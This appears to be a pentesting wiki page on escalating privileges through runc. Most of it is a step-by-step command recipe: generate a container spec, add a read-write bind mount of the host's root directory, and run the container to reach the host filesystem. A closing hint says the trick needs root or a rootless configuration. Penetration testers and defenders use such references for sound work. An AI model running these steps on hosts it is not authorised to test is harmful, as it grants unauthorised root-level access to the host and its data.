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# RunC Privilege Escalation
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## Basic information
If you want to learn more about **runc** check the following page:
{% content-ref url="/pages/yp0xW8wxhEEVFDWl4T1b" %}
[2375, 2376 Pentesting Docker](/dashboard/network-services-pentesting/2375-pentesting-docker.md)
{% endcontent-ref %}
## PE
If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**.
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo
```
{% hint style="danger" %}
This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers.
{% endhint %}
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---
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